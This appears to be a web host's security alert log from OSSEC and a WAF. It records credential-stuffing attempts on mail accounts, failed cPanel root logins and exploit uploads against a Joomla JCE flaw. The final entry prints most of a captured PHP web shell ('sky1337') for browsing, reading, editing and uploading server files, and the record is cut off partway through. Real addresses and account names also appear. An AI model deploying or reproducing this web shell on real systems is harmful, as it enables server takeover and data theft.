plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-07 01:07:41 dovecot_login authenticator failed for H=([149.54.62.54]) [121.202.138.181]:39310: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-07 01:08:24 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [113.193.187.154]:48054: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-07 01:07:36 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [218.156.8.97]:42440: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.94.236.211
country_id: 6251999
description:
2026-07-07 01:08:20 dovecot_login authenticator failed for H=([112.161.42.97]) [174.94.236.211]:45750: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.191.91.81
country_id: 3437598
description:
2026-07-07 01:08:55 dovecot_login authenticator failed for H=([98.181.137.75]) [45.191.91.81]:39787: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.70.75.189
country_id: 1282988
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85422.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:de6e5306b333335638bcb35e21547cb723a153ae||Title:0xe3eff858||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-07 01:10:27 dovecot_login authenticator failed for H=([166.150.73.45]) [122.187.174.78]:34618: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-07 01:10:40 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([112.23.27.22]) [83.191.181.23]:44920: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.202.201
country_id: 51537
description:
2026-07-07 01:12:23 dovecot_login authenticator failed for H=([49.124.153.24]) [197.231.202.201]:45578: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.191
country_id: 1733045
description:
2026-07-07 01:13:13 dovecot_login authenticator failed for H=(p12.dist-aa.atl02.coloat.com) [49.124.148.191]:33688: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-07 01:12:43 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([36.64.30.151]) [218.103.36.176]:53590: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-07 01:12:43 dovecot_login authenticator failed for H=([31.173.67.115]) [119.196.213.196]:41244: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.89.197.82
country_id: 2186224
description:
2026-07-07 01:13:03 dovecot_login authenticator failed for H=219-89-197-82.adsl.xtra.co.nz (107-132-153-59.lightspeed.rcsntx.sbcglobal.net) [219.89.197.82]:50930: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.70.75.189
country_id: 1282988
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:62193.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ba78a400489e26c573e285507eee681e16ae2b0||Title:0xde918a98||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-07-07 01:13:22 dovecot_login authenticator failed for H=([175.200.217.128]) [167.250.118.3]:49617: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-07 01:22:25 dovecot_login authenticator failed for H=([172.167.156.153]) [190.67.106.221]:39842: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.115
country_id: 1733045
description:
2026-07-07 01:21:37 dovecot_login authenticator failed for H=([174.75.211.211]) [49.124.147.115]:54050: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-07 01:22:06 dovecot_login authenticator failed for H=(181.87.roitl.ru) [195.222.43.138]:40990: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 62.231.104.52
country_id: 798549
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:91883.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7e748d6d0012a3bda39e36d1e1fbc532aa6869f1||Title:badg17fn9kmg89bdno||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 62.231.104.52
country_id: 798549
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:99527.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dc33e3cc1eb8ee970ad1590790ac6dcd567f7df5||Title:kptp0wbv5bxoiv5m||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.167.235.133
country_id: 6252001
description:
2026-07-07 01:32:54 dovecot_login authenticator failed for H=wsip-70-167-235-133.pn.at.cox.net ([189.108.215.39]) [70.167.235.133]:37816: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-07 01:33:05 dovecot_login authenticator failed for H=([46.44.32.144]) [182.95.106.118]:33938: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-07 01:33:33 dovecot_login authenticator failed for H=([49.124.142.136]) [211.105.229.237]:51742: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-07 01:33:51 dovecot_login authenticator failed for H=([122.53.106.124]) [101.13.6.91]:58249: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-07 01:38:24 dovecot_login authenticator failed for H=([58.222.72.182]) [222.104.76.94]:45890: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-07 01:37:44 dovecot_login authenticator failed for H=([58.56.128.190]) [63.78.215.208]:42808: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.58.188
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:145.223.58.188||TA:145.223.58.188||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 82.119.203.236
country_id: 1605651
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:82.119.203.236||TA:82.119.203.236||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-07 01:42:27 dovecot_login authenticator failed for H=([223.167.75.86]) [122.185.101.50]:57160: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-07 01:42:42 dovecot_login authenticator failed for H=(starik.Obninsk.ru) [136.56.34.147]:44260: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77469916
abuser: 146.70.147.14
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-8962.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-07 01:46:48 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl (static.ill.117.211.15.106.bsnl.co.in) [89.67.39.124]:60921: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.215.60
country_id: 1835841
description:
2026-07-07 01:47:28 dovecot_login authenticator failed for H=([37.28.177.141]) [175.207.215.60]:45214: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-07 01:48:22 dovecot_login authenticator failed for H=(227.42.246.220.static.netvigator.com) [125.23.155.110]:45104: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-07 01:47:57 dovecot_login authenticator failed for H=([58.17.128.7]) [103.168.241.32]:40434: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.140.150.13
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/serendipity-arts-festival-in-panjim-goa HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-07 01:51:00 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([182.95.109.138]) [78.66.44.246]:42396: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-07 01:51:26 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [65.191.211.33]:33762: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 111.221.44.115
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcere8oenp2.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.179.100.101
country_id: 3686110
description:
2026-07-07 01:53:32 dovecot_login authenticator failed for H=(nsg-corporate-150.65.185.122.airtel.in) [186.179.100.101]:1936: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-07 01:54:42 dovecot_login authenticator failed for H=([72.223.188.94]) [14.32.231.200]:57810: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-07 01:54:55 dovecot_login authenticator failed for H=(nsg-static-201.69.75.182-airtel.com) [206.62.136.109]:45016: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-07 01:57:15 dovecot_login authenticator failed for H=([144.79.41.106]) [74.195.53.129]:56502: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-07 01:56:58 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([98.182.171.163]) [24.142.170.231]:49972: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-07 01:57:39 dovecot_login authenticator failed for H=([115.46.88.68]) [14.35.209.208]:39680: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-07 02:01:28 dovecot_login authenticator failed for H=([49.124.159.185]) [207.254.40.89]:54788: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-07 02:01:48 dovecot_login authenticator failed for H=(aes-static-025.130.17.125.airtel.in) [50.231.243.28]:39364: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-07 02:03:11 dovecot_login authenticator failed for H=(181-212-174-166.baf.movistar.cl) [183.104.220.84]:38998: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-07 02:07:11 dovecot_login authenticator failed for H=([110.166.80.135]) [208.69.161.214]:39742: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-07 02:07:21 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([68.71.247.133]) [65.73.230.102]:43294: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-07 02:07:57 dovecot_login authenticator failed for H=([70.166.167.58]) [182.95.102.190]:56656: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-07 02:07:32 dovecot_login authenticator failed for H=(166.143.48.116.static.netvigator.com) [1.247.245.61]:57513: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-07 02:09:14 dovecot_login authenticator failed for H=([49.124.146.34]) [5.48.46.95]:41282: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.35.70.26
country_id: 248816
description:
2026-07-07 02:09:53 dovecot_login authenticator failed for H=([104.37.135.150]) [212.35.70.26]:56399: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.85.72.89
country_id: 390903
description:
2026-07-07 02:11:23 dovecot_login authenticator failed for H=ppp-2-85-72-89.home.otenet.gr ([162.253.68.102]) [2.85.72.89]:29314: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-07 02:13:40 dovecot_login authenticator failed for H=([122.185.152.186]) [51.116.117.203]:12451: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-07 02:17:37 dovecot_login authenticator failed for H=([121.73.169.149]) [182.95.181.26]:36486: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.107
country_id: 2215636
description:
2026-07-07 02:18:00 dovecot_login authenticator failed for H=([59.127.220.67]) [102.38.3.107]:49309: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-07 02:22:12 +0530] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-07 02:22:11 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-07-07 02:24:27 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net ([182.90.248.108]) [110.25.109.52]:32826: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.142.45
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://www.pcefloydada.com/markets/stocks.php?article=abnewswire-2026-6-8-roofing-services-in-elm-grove-terrace-elm-grove-wi-provided-by-ready-roof-inc-for-local-property-owners-and-businesses\">Roofing Company</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-07 02:25:52 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [218.159.144.187]:49337: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-07 02:26:05 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([58.56.128.190]) [221.120.4.61]:51072: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-07 02:26:22 dovecot_login authenticator failed for H=([181.115.237.19]) [175.200.217.128]:45488: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.184.100.96
country_id: 1819730
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.147.93.188
country_id: 2960313
description:
[2026-07-07 02:26:52 +0530] info [whostmgrd] 194.147.93.188 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-07 02:30:57 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([218.21.241.50]) [213.66.197.199]:47330: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-07 02:37:00 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com (189-108-224-67.customer.tdatabrasil.net.br) [82.209.148.60]:57600: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-07 02:36:36 dovecot_login authenticator failed for H=([49.124.149.196]) [41.224.62.206]:43962: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-07 02:41:11 dovecot_login authenticator failed for H=(fabfibernet.com) [182.95.232.66]:37224: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-07 02:41:57 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([49.124.148.2]) [213.65.190.48]:40036: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.4.22
country_id: 1522867
description:
2026-07-07 02:42:05 dovecot_login authenticator failed for H=2.133.4.22.dynamic.telecom.kz ([115.86.227.79]) [2.133.4.22]:34849: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-07 02:45:53 dovecot_login authenticator failed for H=([121.66.124.149]) [101.13.5.34]:33074: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 46.246.28.170
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:194194.php8||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469918
abuser: 46.246.28.170
country_id: 2661886
domain: globalgroupoman.com
name:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:194194.shtml||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 143.198.88.50
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:{\"layout\": \"<?php\\r\\n\\r\\nerror_reporting(0);@ini_set('display_errors',0);\\r\\n\\r\\n$m=isset($_GET['m'])?$_GET['m']:'upload_form';\\r\\n\\r\\n// View File (PHP native)\\r\\n\\r\\nif($m=='view'||isset($_GET['f'])){\\r\\n\\r\\n    $f=isset($_GET['f'])?$_GET['f']:'';\\r\\n\\r\\n    if($f&&file_exists($f)){\\r\\n\\r\\n        echo \\\"<html><head><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;white-space:pre-wrap;word-wrap:break-word;}a{color:#f44;}</style></head><body>\\\";\\r\\n\\r\\n        echo \\\"<h2 style='color:#f44;'>sky1337 - \\\".basename($f).\\\"</h2>\\\";\\r\\n\\r\\n        echo \\\"<pre>\\\".htmlspecialchars(file_get_contents($f)).\\\"</pre>\\\";\\r\\n\\r\\n        echo \\\"<hr><a href='?m=ls&d=\\\".dirname($f).\\\"'>[Back]</a></body></html>\\\";\\r\\n\\r\\n    }else{echo \\\"File not found\\\";}\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// Edit File\\r\\n\\r\\nif($m=='edit'&&$_SERVER['REQUEST_METHOD']=='POST'){\\r\\n\\r\\n    $f=$_POST['f'];\\r\\n\\r\\n    $c=$_POST['c'];\\r\\n\\r\\n    if($f&&file_exists($f)&&is_writable($f)){\\r\\n\\r\\n        file_put_contents($f,$c);\\r\\n\\r\\n        echo \\\"<script>alert('Saved!');location='?m=view&f=$f';</script>\\\";\\r\\n\\r\\n    }else{echo \\\"Failed to save\\\";}\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// File Manager\\r\\n\\r\\nif($m=='ls'){\\r\\n\\r\\n    $d=isset($_GET['d'])?$_GET['d']:'.';\\r\\n\\r\\n    $real=realpath($d);\\r\\n\\r\\n    echo \\\"<html><head><meta charset='UTF-8'><title>sky1337</title>\\r\\n\\r\\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\\r\\n\\r\\n    a{color:#f44;text-decoration:none;}a:hover{color:#fff;}\\r\\n\\r\\n    .dir{color:#fa0;}.file{color:#888;}.w{color:#0f0;}\\r\\n\\r\\n    .nav{background:#111;padding:10px;border-radius:6px;margin:10px 0;border:1px solid #333;}\\r\\n\\r\\n    hr{border-color:#333;}\\r\\n\\r\\n    .s{font-size:11px;color:#666;}</style></head><body>\\\";\\r\\n\\r\\n    echo \\\"<h2 style='color:#f44;margin:0;'>sky1337</h2>\\\";\\r\\n\\r\\n    echo \\\"<p style='color:#666;font-size:11px;'>\\\".$_SERVER['HTTP_HOST'].\\\" | \\\".get_current_user().\\\"</p>\\\";\\r\\n\\r\\n    echo \\\"<p style='color:#fa0;'>$real</p>\\\";\\r\\n\\r\\n    echo \\\"<div class='nav'>\\\";\\r\\n\\r\\n    if($d!='/'){$p=dirname($d);echo \\\"<a href='?m=ls&d=$p'>[UP]</a> \\\";}\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=.'>[HOME]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/'>[/ROOT]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/home'>[/home]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/var/www'>[/var/www]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/etc'>[/etc]</a> \\\";\\r\\n\\r\\n    echo \\\"</div><hr>\\\";\\r\\n\\r\\n    foreach(scandir($d) as $f){\\r\\n\\r\\n        if($f=='.')continue;\\r\\n\\r\\n        $path=rtrim($d,'/').'/'.ltrim($f,'/');\\r\\n\\r\\n        $w=is_writable($path)?' <span class=\\\"w\\\">[W]</span>':'';\\r\\n\\r\\n        if(is_dir($path)){\\r\\n\\r\\n            echo \\\"<span class='dir'>DIR</span> <a class='dir' href='?m=ls&d=$path'>$f</a>$w<br>\\\";\\r\\n\\r\\n        }else{\\r\\n\\r\\n            $s=filesize($path);\\r\\n\\r\\n            $sh=$s>1048576?round($s/1048576,1).'MB':($s>1024?round($s/1024,1).'KB':$s.'B');\\r\\n\\r\\n            echo \\\"<span class='file'>FILE</span> <a href='?m=view&f=$path'>$f</a> <span class='s'>$sh</span>$w<br>\\\";\\r\\n\\r\\n        }\\r\\n\\r\\n    }\\r\\n\\r\\n    echo \\\"<hr><div class='nav'><a href='?m=upload_form'>[Upload]</a> | <a href='?m=info'>[Info]</a></div>\\\";\\r\\n\\r\\n    echo \\\"</body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// Info\\r\\n\\r\\nif($m=='info'){\\r\\n\\r\\n    echo \\\"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;}a{color:#f44;}</style></head><body>\\\";\\r\\n\\r\\n    echo \\\"<h2 style='color:#f44;'>sky1337 Info</h2><pre>\\\";\\r\\n\\r\\n    echo \\\"Uname: \\\".php_uname().\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"User: \\\".get_current_user().\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"DocRoot: \\\".$_SERVER['DOCUMENT_ROOT'].\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"Disable: \\\".ini_get('disable_functions').\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"OpenBaseDir: \\\".ini_get('open_basedir').\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"Server: \\\".$_SERVER['SERVER_SOFTWARE'].\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"</pre><a href='?m=ls'>[Files]</a> | <a href='?m=upload_form'>[Upload]</a></body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// Upload Form\\r\\n\\r\\nif($m=='upload_form'){\\r\\n\\r\\n    $doc=$_SERVER['DOCUMENT_ROOT']??'/var/www/html';\\r\\n\\r\\n    if(!empty($_GET['path'])&&is_dir($_GET['path'])){$doc=$_GET['path'];}\\r\\n\\r\\n    echo \\\"<html><head><meta charset='UTF-8'><title>sky1337 Upload</title>\\r\\n\\r\\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\\r\\n\\r\\n    form{background:#111;padding:20px;border-radius:8px;max-width:500px;border:1px solid #333;}\\r\\n\\r\\n    input,button{background:#0a0a0a;color:#e0e0e0;border:1px solid #333;padding:10px;border-radius:4px;margin:5px 0;width:100%;}\\r\\n\\r\\n    button{background:#f44;color:#fff;cursor:pointer;width:auto;font-weight:bold;}button:hover{background:#c00;}\\r\\n\\r\\n    a{color:#f44;}.info{background:#1a1a1a;padding:10px;border-radius:4px;margin:10px 0;border:1px solid #333;}</style></head><body>\\r\\n\\r\\n    <h2 style='color:#f44;'>sky1337 Upload</h2>\\r\\n\\r\\n    <p><a href='?m=ls'>[Files]</a> | <a href='?m=info'>[Info]</a></p>\\r\\n\\r\\n    <div class='info'>DocRoot: $doc | 